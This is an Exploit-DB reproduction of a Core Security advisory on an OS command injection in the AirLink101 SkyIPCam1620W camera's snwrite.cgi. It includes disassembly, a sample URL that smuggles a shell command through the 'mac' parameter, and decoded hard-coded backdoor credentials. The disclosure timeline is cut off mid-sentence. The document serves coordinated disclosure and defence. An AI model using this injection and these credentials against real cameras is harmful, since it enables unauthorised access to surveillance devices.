Exploit-DB #37527
Description: AirLink101 SkyIPCam1620W - OS Command Injection
Type: webapps
Platform: hardware
Date: 2015-07-08
Author: Core Security

Exploit:
1. Advisory Information

Title: AirLink101 SkyIPCam1620W OS Command Injection
Advisory ID: CORE-2015-0011
Advisory URL: http://www.coresecurity.com/advisories/airlink101-skyipcam1620w-os-command-injection
Date published: 2015-07-08
Date of last update: 2015-07-08
Vendors contacted: AirLink101
Release mode: User release


2. Vulnerability Information

Class: OS Command Injection [CWE-78], Use of Hard-coded Credentials" [CWE-798]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2015-2280



3. Vulnerability Description

AirLink101 [2] SkyIPCam1620W Wireless N MPEG4 3GPP Network Camera streams supreme quality MPEG4 and MJPEG image. It supports remote surveillance on computers over the Internet or on mobile handheld devices.

The SkyIPCam1620W Wireless N MPEG4 3GPP Network Camera [1] is vulnerable to an OS Command Injection Vulnerability in the snwrite.cgi binary.


4. Vulnerable Packages

AirLink101 SkyIPCam1620W Wireless N MPEG4 3GPP Network Camera with firmware FW_AIC1620W_1.1.0-12_20120709_r1192.pck (Aug. 2012)
Other devices based on the same firmware are probably affected too, but they were not tested.


5. Vendor Information, Solutions and Workarounds

Core Security recommends applying a WAF (Web Application Firewall) rule that would filter the vulnerable request (either the CGI file or the parameters where the injection is performed) in order to avoid exploitation.

Contact the vendor for further information.


6. Credits

This vulnerability was discovered and researched by Nahuel Riva from the Core Security Exploit Writing Team. The publication of this advisory was coordinated by Joaquin Rodriguez Varela from the Core Security Advisories Team.



7. Technical Description / Proof of Concept Code

7.1. OS Command Injection in CGI binary file

[CVE-2015-2280] The snwrite.cgi binary has an OS Command Injection at function loc_8928 when handling the "mac" parameter:

 
.text:00008928
.text:00008928 loc_8928
.text:00008928 BL memset
.text:0000892C LDR R3, [R7,#0x40]
.text:00008930 LDR R2, =stderr
.text:00008934 ADD R3, R5, R3
.text:00008938 LDR R0, [R2] ; stream
.text:0000893C LDR R1, =aMacS ; "mac = %s"
.text:00008940 LDR R2, [R3,#0x104]
.text:00008944 BL fprintf
.text:00008948 LDR R2, [R7,#0x40]
.text:0000894C ADD R2, R5, R2
.text:00008950 LDR R3, [R2,#0x104]
.text:00008954 MOV R1, #0x80 ; maxlen
.text:00008958 LDR R2, =aEtcInit_dMacwr ; "/etc/init.d/macwrite.sh %s 1>/dev/null "...
.text:0000895C MOV R0, R8 ; s
.text:00008960 BL snprintf
.text:00008964 MOV R0, R8 ; command
.text:00008968 BL system
.text:0000896C LDR R4, [R7,#0x40]
.text:00008970 B loc_8908
.text:00008970 ; End of function sub_88A8
.text:00008970
The "mac" parameter is used in a printf() call to build a command to execute the macwrite.sh shell script to update the MAC Address configuration. The printf() built string is then used in a system() call. Therefore, it is possible to inject arbitrary commands just by putting a ";" after the "mac" parameter, for example:

 
http://<Camera_IP>/maker/snwrite.cgi?mac=1234;ps
 
In order to invoke the snwrite.cgi binary valid credentials are required, but a backdoor account located in /server/usr.ini can be used:

 
nriva@fastix:/mnt/firmware/server$ cat usr.ini

admin=Basic YWRtaW46YWRtaW4=
maker=Basic cHJvZHVjdG1ha2VyOmZ0dnNiYW5uZWRjb2Rl
 
These accounts are encoded in base64 so it is relatively easy to recover them:

 
 >>> "YWRtaW46YWRtaW4=".decode("base64")
'admin:admin'

>>> "cHJvZHVjdG1ha2VyOmZ0dnNiYW5uZWRjb2Rl".decode("base64")
'productmaker:ftvsbannedcode'
 
Using the 'productmaker:ftvsbannedcode' backdoor account allows access to the path /maker/snwrite.cgi and therefore the ability to perform the injection explained above.



8. Report Timeline

2015-05-04: Core Security sent an initial email notification to AirLink101. Publication date set to June 8, 2015.
2015-05-07: Core Security sent another email notification to AirLink101.
2015-05-14: Core Security attempted to contact AirLink101 through Twitter.
2015-05-14: Core Security sent yet another email notification to AirLink101.
2015-05-14: AirLink101 replied with a direct Twitter message asking Core to resend the email.
2015-05-14: Core Security informed AirLink101 through Twitter that they resent the email.
2015-05-15: Core Security asked AirLink101 through Twitter if they were able to find the email they sent.
2015-05-18: Core Security again asked AirLink101 through Twitter if they received the email.
2015-05-19: AirLink101 replied to Core on Twitter saying that they received the email and were reviewing the situation.
2015-05-20: Core Security replied AirLink101 with a direct Twitter message stating that they needed their reply soon in order to coordinate the advisory publication.
2015-05-21: AirLink101 wrote an email requesting that Core share the model and the issue they found, and requesting a contact phone number.
2015-05-22: Core Security replied to AirLink101 by email and asked if they had a PGP key or if they preferred the report to be sent in plain text. Additionally, Core informed AirLink101 that it is their policy to communicate exclusively via email in order to keep a record.
2015-05-22: AirLink101 replied by email and asked when the advisory would be published without answering the previous question (PGP or plain text) and asked again for a contact phone number.
2015-05-26: Core Security replied to AirLink101 by email clarifying that they previously requested their input on whether they would prefer to receive the information encrypted or in plain text, and explained again that it is their policy to communicate using email.
2015-05-28: Core Security asked AirLink101 by email if they received their previous message.
2015-06-04: Core Security again asked AirLink101 if they were receiving their emails. They informed Airlink101 that if they didn't receive an